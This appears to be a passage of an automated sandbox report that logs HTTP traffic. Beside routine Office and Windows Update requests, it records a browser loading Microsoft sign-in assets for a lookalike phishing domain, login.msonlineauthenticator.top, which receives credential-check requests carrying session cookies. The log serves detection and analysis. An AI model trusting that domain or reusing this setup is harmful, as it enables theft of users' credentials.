Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cYSWKApBAAmNCwl&MD=lahYyaWK HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://login.msonlineauthenticator.top/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /common/GetCredentialType?mkt=en-US HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_4285088f1dbaf52a876d.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /common/instrumentation/dssostatus HTTP/1.1Host: login.msonlineauthenticator.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 7b5a-d8cb=e138283daf76ff7866a10a962a722a1ca34707143d4d2216ec8a7801d1f82a90; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; esctx-4TKHzroffC0=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeEYxa7f3veaX-VKmU22RIslH1uvvCI6klWtJ4JQez0Bvnze9Bd9Lec3zbxl-HJ2HEINnjOGIwWS415bJOIdN9JTE0er8683fovpjtwpJwPZuFaXMqosxwvvYiKAfjG16QuqTmsibESgRJdo1_KHxstCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.Ae4AMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAADuAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFex2pP-I0zALTlsTVftaTmULYWHnTlyKyCV9or0k4FKnMU8IKw5kPsqxxBvNjtHngjxBLwLWE9vjeenLvrvRIy8Msj5cxWKezG9xtBZYYtA00gAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeMRH4hl7ZhlCdDX1tfNeT8dJ3CUpzgRK95D0DnsboftAPuxqEIxsOzhw5ojB7aHvjv4zSiFOVOYnozkOBn4NzI3gKCxjdYGLxB5yN2d9eOK97shH6VTLPN1CQO4doNYxA5wi5YJKL6NDpH5Lv5Wbk2F8rJwLnMwCJ5N-FZg1icSQgAA; esctx-Mc0TKE8k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe9Gx1Jqutchza-C-gQYTMDoNoCGAQVLQekSJmGnXfqUHf4sxmq_7j_PplCH3Yf4KAvAwWdu-uA4EqfAxxCmdL0nv2Q8r9tG2IKTsFx5vQ4aJa5Ho6a3ueh8soEygnbcUxXy2MMJPglbs0M5VMnvGCVCAA; fpc=AmLITznCxPJGndwBwlWb56u8Ae7AAQAAAJu5194OAAAA; brcap=0
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
